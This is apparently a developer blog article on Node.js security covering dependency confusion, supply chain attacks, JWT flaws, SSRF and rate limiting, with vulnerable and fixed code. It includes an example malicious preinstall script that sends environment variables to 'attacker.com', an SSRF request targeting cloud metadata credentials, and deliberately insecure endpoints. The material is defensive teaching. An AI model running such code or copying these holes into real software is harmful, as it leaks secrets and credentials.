In Part 1 of our series, we explored some of the most common attack vectors against Node.js applications, from SQL injection, NoSQL injection, to Cross-Site Scripting (XSS) attacks. But these threats are not the only security issues that Node.js developers face today; they are only a part of it.
In this second part of our series, we will discuss lesser known, but no less dangerous threats that are specifically targeted at Node.js applications. From prototype pollution to insecure deserialization, authentication flaws to server-side request forgery – understanding these threats and their remediation strategies is crucial for secure application development in the current threat environment. Learn all about these Node.js security risks and how to prevent them.
Dependency Risks in the JavaScript Ecosystem
Problems with the JavaScript ecosystem are heavily dependent on dependencies. A typical Node.js project depends on hundreds of third-party packages, which is a huge attack surface that isn’t contained in your own code. This has been shown to be the case with recent supply chain attacks on popular npm packages. Not all security threats can be guarded against, but frameworks like Express.js, Fastify, and NestJS do provide some protection. Nevertheless, the duty is left to developers to ensure that they include security checks and measures in every stage of the application development process.
Topic 1 – Node.js Security & Dependency Management Vulnerabilities
Outdated Packages and Security Implications
It’s normal for modern Node.js applications to depend on several dozen or even hundreds of dependencies. Each outdated package is a potential security hole that’s left unpatched in your application.
The npm ecosystem is quite dynamic and vulnerabilities are often uncovered and patched within widely used packages. This means that dependencies that aren’t regularly updated can put your application at risk of being exploited while the fix is available.
Example: Say a team is using the popular lodash package v4.17.15 in their application. This package version has a prototype pollution vulnerability that was fixed in version 4.17.19. This vulnerability lets attackers manipulate prototypes of JavaScript objects and, in certain circumstances, cause application crashes or even remote code execution.
This type of vulnerability is particularly dangerous because lodash is a dependency of over 150,000 other packages, which means it’s spread throughout the ecosystem. The longer teams delay updates, the longer their applications are vulnerable.
Mitigation Strategy: Audit the packages at regular time intervals.
# Identify vulnerabilities in your dependencies npm audit # Fix vulnerable dependencies npm audit fix # For major version updates that npm audit fix can't automatically resolve npm audit fix --force
Supply Chain Attacks
Supply chain attacks focus on the trusting relationship between developers and package maintainers. Malicious actors inject code into the supply chain to compromise a trusted package or its distribution channel.
Example Scenario: The event-stream incident of 2018 demonstrated the risks perfectly. A malicious actor was able to gain the trust of the package maintainer and was granted publishing rights to the package. They injected cryptocurrency stealing code that targeted Copay Bitcoin wallet users.
Attack Workflow:
- Attacker identifies a popular package with an inactive maintainer
- Attacker offers to help maintain the package
- Original maintainer grants publishing rights
- Attacker publishes a new version with malicious code
- Downstream applications automatically update to the compromised version
Mitigation Strategies: In package.json, use exact versions instead of ranges.
//In package.json, use exact versions instead of ranges { "dependencies": { "express": "4.17.1", // Good: exact version "lodash": "^4.17.20" // Risky: accepts any 4.17.x version above 4.17.20 } } //Use package-lock.json or npm shrinkwrap to lock all dependencies //Example using npm-package-integrity: const integrity = require('npm-package-integrity'); integrity.check('./package.json').then(results => { if (results.compromised.length > 0) { console.error('Compromised packages detected:', results.compromised); process.exit(1); } });
Dependency Confusion Attacks
Dependency confusion attacks occur when package managers download dependencies from both public and private registries and can result in the use of public packages when there are private packages with higher versions available. This can happen when there’s a private package name in the public registry with a higher version and the package manager could pull the public version.
Example Attack Scenario: Your company uses a private package called @company/api-client 1.2.3. The attacker identifies this package name in your public repository’s package.json and releases a malicious package with the same name but version 2.0.0 to the public npm registry. When you install the malicious package, npm will find the higher version in the public registry and install the package from the attacker.
Example Workflow:
- When you install a malicious package, the attacker might run a script when the package is installed.
// Malicious package preinstall script // This runs automatically when the package is installed const fs = require('fs'); const https = require('https'); // Stealing environment variables const data = JSON.stringify({ env: process.env, path: process.cwd() }); // Sending data to attacker's server const req = https.request({ hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST', headers: {'Content-Type': 'application/json'} }, res => {}); req.write(data); req.end();
Mitigation Strategies:
Use Scoped Packages: Scoped packages in npm help ensure that your packages are uniquely identified. For example, use @yourcompany/package-name instead of just package-name.
{ "name": "my-project", "version": "1.0.0", "dependencies": { "@yourcompany/internal-package": "1.2.3" }, "publishConfig": { "registry": "https://registry.yourcompany.com" } }
In this example, the following measures are taken:
- The package is scoped with @yourcompany to ensure uniqueness.
- The publishConfig ensures that the package manager uses your private registry.
Topic 2 – Authentication Flaws Threatening Node.js Security
JSON Web Token (JWT) Vulnerabilities – JWTs are among the most common means of authentication in Node.js apps, particularly for RESTful APIs. However, this can be done incorrectly.
Common JWT Vulnerabilities:
- Weak Signing Algorithms: None or insecure algorithms like HMAC with small keys.
- Insecure Token Storage: Saving tokens in localStorage instead of using HttpOnly cookies.
- Missing Token Validation: Invalidating tokens that have not been signed, expired or targeted.
- Hardcoded Secrets: Using hardcoded secrets in the source code.
Example of Vulnerable JWT Implementation:
const jwt = require('jsonwebtoken'); // Hardcoded secret in source code const secret = 'mysecretkey'; app.post('/login', (req, res) => { // Create token with no expiration or audience validation const token = jwt.sign({ userId: user.id }, secret); res.json({ token }); }); app.get('/protected', (req, res) => { try { // No token validation or structure checks const token = req.headers.authorization.split(' ')[1]; const decoded = jwt.verify(token, secret); // No additional checks on decoded token content res.json({ data: 'Protected resource' }); } catch (error) { res.status(401).json({ error: 'Unauthorized' }); } });
In the above example code, there are multiple issues:
Hard Coded Secret
- Problem: The secret key is stored in the source code.
- Risk: If the source code is revealed, the secret key can be easily guessed.
No Token Expiration
- Problem: The JWT is created without an expiration date.
- Risk: Once issued, tokens can be used for an indefinite period of time if they are compromised.
Plain Text Token Transmission
- Problem: The token is sent in plaintext in the response.
- Risk: If tokens aren’t sent over HTTPS, they can be easily intercepted.
No Token Validation or Structure Checks
- Issue: The token is extracted and verified without checking its claims.
- Risk: Malformed or tampered tokens can bypass security checks.
Improved code with Secure JWT Implementation:
const jwt = require('jsonwebtoken'); const fs = require('fs'); require('dotenv').config(); // Load JWT secret from environment variable const secret = process.env.JWT_SECRET; if (!secret || secret.length < 32) { throw new Error('JWT_SECRET environment variable must be set with at least 32 characters'); } app.post('/login', async (req, res) => { // Create token with proper claims const token = jwt.sign( { userId: user.id, role: user.role }, secret, { expiresIn: '1h', issuer: 'my-app', audience: 'my-api', notBefore: 0 } ); // Send token in HttpOnly cookie res.cookie('token', token, { httpOnly: true, secure: process.env.NODE_ENV === 'production', sameSite: 'strict', maxAge: 3600000 // 1 hour }); res.json({ message: 'Authentication successful' }); }); app.get('/protected', (req, res) => { try { // Extract token from cookie (not from headers) const token = req.cookies.token; if (!token) { return res.status(401).json({ error: 'Authentication required' }); } // Verify token with all necessary options const decoded = jwt.verify(token, secret, { issuer: 'my-app', audience: 'my-api' }) // Additional validation if (decoded.role !== 'admin') { return res.status(403).json({ error: 'Insufficient permissions' }); } res.json({ data: 'Protected resource' }); } catch (error) { if (error.name === 'TokenExpiredError') { return res.status(401).json({ error: 'Token expired' }); } res.status(401).json({ error: 'Invalid token' }); } });
This above code snippet demonstrates a strong focus on security through several measures:
- Environment Variables: Some of the sensitive data like the JWT secret are stored in environment variables. This helps in avoiding the data being hardcoded and reduces the risk of exposure.
- Secure Cookies: The JWT token is saved in an HttpOnly cookie with secure and SameSite=strict flags, making it immune to XSS and CSRF attacks.
- Role Based Access Control: The implementation checks the user’s role before allowing access to the protected resources in the application. Only authorized users can access sensitive endpoints.
Topic 3 – Preventing SSRF Attacks in Node.js Security
Side Request Forgery (SSRF) is a type of vulnerability where attackers can make servers make requests to unintended targets. This is problematic in the Node.js environment since HTTP requests are easy to make, especially with libraries such as axios, request, got, node-fetch, and the native http/https modules.
SSRF attacks exploit server-side code that makes requests to other services, allowing attackers to:
- Access internal services behind firewalls that aren’t normally accessible from the internet.
- Scan internal networks and discover services on private networks.
- Interact with metadata services in cloud environments (e.g. AWS EC2 metadata service).
- Exploit trust relationships between the server and other internal services.
Common Attack Vectors
- URL Parameters in API Proxies: Many Node.js applications function as API gateways or proxies, forwarding requests to backend services.
Vulnerable Example:
const express = require('express'); const axios = require('axios'); const app = express(); app.get('/proxy', async (req, res) => { const url = req.query.url; try { // User can control the URL completely const response = await axios.get(url); res.json(response.data); } catch (error) { res.status(500).json({ error: error.message }); } });
In this example, an attacker could provide a URL pointing to an internal service, such as: GET /proxy?url=http://internal-admin-panel.local/users
Now let’s see a secure way of the implementation:
const express = require('express'); const axios = require('axios'); const URL = require('url').URL; const app = express(); // Define allowed domains const ALLOWED_HOSTS = ['api.trusted.com', 'public-service.org']; app.get('/proxy', async (req, res) => { const url = req.query.url; try { // Validate URL format const parsedUrl = new URL(url); if (!ALLOWED_HOSTS.includes(parsedUrl.hostname)) { return res.status(403).json({ error: 'Domain not allowed' }); } // Proceed with request to allowed domain const response = await axios.get(url); res.json(response.data); } catch (error) { res.status(400).json({ error: 'Invalid URL or request failed' }); } });
In the example above, a few best practices were followed:
Domain Whitelisting:
- Defines a list of allowed domains (ALLOWED_HOSTS).
- Then we check if the hostname of the user-supplied URL is in this list before proceeding with the request.
- Ensures that only requests to trusted domains are allowed, reducing the risk of SSRF attacks.
- Prevents the application from making requests to unauthorized or potentially malicious domains.
- File Upload Services with Remote URL Support
Vulnerable Code:
app.post('/fetch-image', async (req, res) => { const imageUrl = req.body.imageUrl; try { // Downloads from any URL without validation const response = await axios.get(imageUrl, { responseType: 'arraybuffer' }); const imageBuffer = Buffer.from(response.data); // Save to local storage fs.writeFileSync(`./uploads/${Date.now()}.jpg`, imageBuffer); res.json({ success: true }); } catch (error) { res.status(500).json({ error: error.message }); } });
An attacker can supply a malicious URL that can force the server to make requests to internal services or endpoints that should not be accessed by the public. This can result in the exposure of sensitive information or internal networks.
Example Attack:
Example Attack: POST /fetch-image Body: { "imageUrl": "http://169.254.zzz.xxx/latest/meta-data/iam/security-credentials/" }
Secure Implementation/Fix
- Validate URL Format: Use the URL constructor to make sure the URL is well formed. Disallow anything but http and https to avoid the possibility of harmful protocols being used.
- DNS Resolution and IP Blocking: Look up the hostname to IP using dns lookup. Avoid using private networks (10.x.x.x, 172.16.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x) to avoid disclosing information that can be used to reach resources on the internal network and to prevent SSRF attacks.
- Preventing Redirects: Set the maxRedirects property of the axios request to 0 to avoid redirect-based bypasses that can allow access to prohibited URLs.
const dns = require('dns').promises; app.post('/fetch-image', async (req, res) => { const imageUrl = req.body.imageUrl; try { // 1. Validate URL format const parsedUrl = new URL(imageUrl); // 2. Only allow http/https protocols if (!['http:', 'https:'].includes(parsedUrl.protocol)) { return res.status(403).json({ error: 'Protocol not allowed' }); } // 3. Resolve hostname to IP const { address } = await dns.lookup(parsedUrl.hostname); // 4. Block private IP ranges if (/^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|127\.|169\.254\.)/.test(address)) { return res.status(403).json({ error: 'Cannot access internal resources' }); } // 5. Now safe to proceed const response = await axios.get(imageUrl, { responseType: 'arraybuffer', maxRedirects: 0 // Prevent redirect-based bypasses }); const imageBuffer = Buffer.from(response.data); fs.writeFileSync(`./uploads/${Date.now()}.jpg`, imageBuffer); res.json({ success: true }); } catch (error) { res.status(400).json({ error: 'Invalid URL or request failed' }); } });
Topic 4 – Rate Limiting and DoS Protection
Attackers are known to launch traffic-based attacks on Node.js applications to knock or take over systems:
- Distributed Denial of Service (DDoS): Your server is flooded by many requests from so many attackers that legitimate users are unable to access the service.
- Brute Force Attempts: Attackers use automated tools to try and login to your application with random combinations of credentials in an attempt to guess the valid authentication credentials.
- Scraping and Harvesting: Your application is accessed by bots to make many requests to gather content from your application, affecting performance and data leakage.
- API Abuse: API requests to use up resources or to take advantage of the free tiers usually reserved for your application’s APIs.
Note: At the infrastructure level, solutions including AWS WAF, Cloudflare, or Nginx can provide better protection without imposing too much load on your application code. These services provide more sophisticated features like distributed rate limiting, traffic monitoring, and auto-scaling during attacks. But this article focuses only on application-level security policies.
Traffic Management Best Practices
Proper traffic management begins with rate limiting both in the application and infrastructure. This can be done in Node.js using the express-rate-limit middleware package.
const rateLimit = require('express-rate-limit'); const apiLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 100, // limit each IP to 100 requests per windowMs message: 'Too many requests, please try again later.' }); app.use('/api/', apiLimiter); // Apply to all API endpoints app.use('/api/', apiLimiter);
To have a finer level of control, set different rate limits on different endpoints depending on the level of sensitivity and resource requirement of the endpoints.
For instance, authentication endpoints are usually more secure than general content endpoints. Moreover, implement progressive delays for failed attempts and account lockout policies for persistent failures. The library node-rate-limiter-flexible helps enhance features like Redis-based distributed rate limiting for apps deployed on multiple servers.
Mitigating DoS Vulnerabilities
Set request size limits to prevent payload attacks:
app.use(express.json({ limit: '10kb' })); app.use(express.urlencoded({ extended: true, limit: '10kb' }));
Use helmet for additional HTTP security headers:
const helmet = require('helmet'); app.use(helmet());
Infrastructure-Level Protection
Security is better to approach from the infrastructure-level and use the application-level security as the secondary layer. Options include:
- Reverse Proxies: Nginx or HAProxy can serve as a barrier, perform rate limiting, and work as a middle layer between your clients and the application.
- CDNs: Cloudflare or Fastly offers integrated DDoS protection and rate limiting.
- Cloud Provider Solutions: AWS WAF, Azure Front Door or Google Cloud Armor can be used to monitor and filter traffic.
- Load Balancers: It can be used to distribute traffic across multiple instances, increasing the load and filter suspicious requests.
Conclusion: Strengthening Node.js Security Layers
Node.js security is an evolving challenge; keeping up with remediation strategies is essential to protect your applications from modern attack vectors. As discussed in detail in this article, attackers are always looking for ways to exploit traffic vulnerabilities. Therefore, a layered approach is necessary. Key points to keep in mind include:
- In-depth defense is essential: Combine application-level protections such as middleware and request limits are with infrastructure level defenses like reverse proxies, CDN, and WAF to create several layers of protection against traffic-based attacks on Node.js apps.
- Understand attack patterns: This is only possible if you understand strategies like DDoS attacks, brute force attempts, API abuse, and resource exhaustion.
- Balance security with usability: Set rate limits properly to prevent malicious traffic without affecting the service quality of legitimate users. Endpoints need different thresholds as per their risk and frequency of use.
- Implement graduated responses: Step-by-step measures should be taken beginning with slight delays, temporary blockage, and permanent IP blockage for severe attackers as per the frequency and severity of suspicious activities.
- Continuously monitor and adjust: Security is not set and forget—traffic patterns should be analyzed regularly, rate limits should be checked and altered, and protection mechanisms should be updated to address new threats and application requirements.
- Leverage existing tools: Some recommended libraries include express-rate-limit, Cloudflare, or AWS WAF instead of developing your own and making potential critical errors during development.
- Consider distributed applications: For applications deployed on several servers, the distributed rate limiting policy should be implemented using Redis or a similar technology to ensure that the whole infrastructure is uniformly protected.
- Test your defenses: Regularly conduct penetration testing to verify the effectiveness of your rate limiting and DoS protection measures under realistic attack scenarios.
🔍 Frequently Asked Questions (FAQ)
1. What are the main dependency risks in Node.js applications?
Node.js applications often depend on hundreds of third-party packages, increasing their exposure to vulnerabilities. Outdated packages, supply chain compromises, and dependency confusion are among the most critical risks developers must mitigate.
2. How can outdated Node.js packages introduce security vulnerabilities?
Outdated packages may contain known vulnerabilities that attackers can exploit. For example, lodash v4.17.15 has a prototype pollution issue that was fixed in v4.17.19, affecting thousands of dependent packages.
3. What is a supply chain attack in the Node.js ecosystem?
A supply chain attack occurs when malicious code is injected into a trusted dependency, often through social engineering or takeover of an inactive package. This code propagates downstream, compromising applications that rely on the affected package.
4. How can developers prevent dependency confusion in npm?
To prevent dependency confusion, developers should use scoped packages (e.g., @company/package
) and configure the publishConfig.registry
field to enforce use of internal registries.
5. What are common JWT vulnerabilities in Node.js?
Frequent JWT vulnerabilities include hardcoded secrets, weak signing algorithms, lack of token validation, and insecure token storage. These flaws can lead to unauthorized access and token abuse.
6. How should JWTs be securely implemented in Node.js?
Secure JWT implementations use environment variables for secrets, set expiration and validation claims, and transmit tokens via HttpOnly
cookies with strict flags to mitigate XSS and CSRF attacks.
7. What is Server-Side Request Forgery (SSRF) and how can it be exploited in Node.js?
SSRF exploits occur when an attacker manipulates the server into making unauthorized requests, potentially exposing internal services or metadata endpoints. This is often done via user-controlled URLs in APIs or file uploads.
8. How can developers mitigate SSRF in Node.js applications?
Mitigation techniques include domain whitelisting, validating URL protocols, resolving DNS to block private IPs, and disabling redirects in HTTP clients like Axios.
9. What are best practices for rate limiting in Node.js?
Use libraries like express-rate-limit
to set per-IP request caps, apply stricter controls on authentication routes, and consider distributed rate limiting via Redis for multi-instance applications.
10.How can infrastructure-level protection enhance Node.js app security?
Infrastructural tools like AWS WAF, Cloudflare, and Nginx offer advanced rate limiting, request filtering, and DDoS protection beyond what app-level middleware can provide.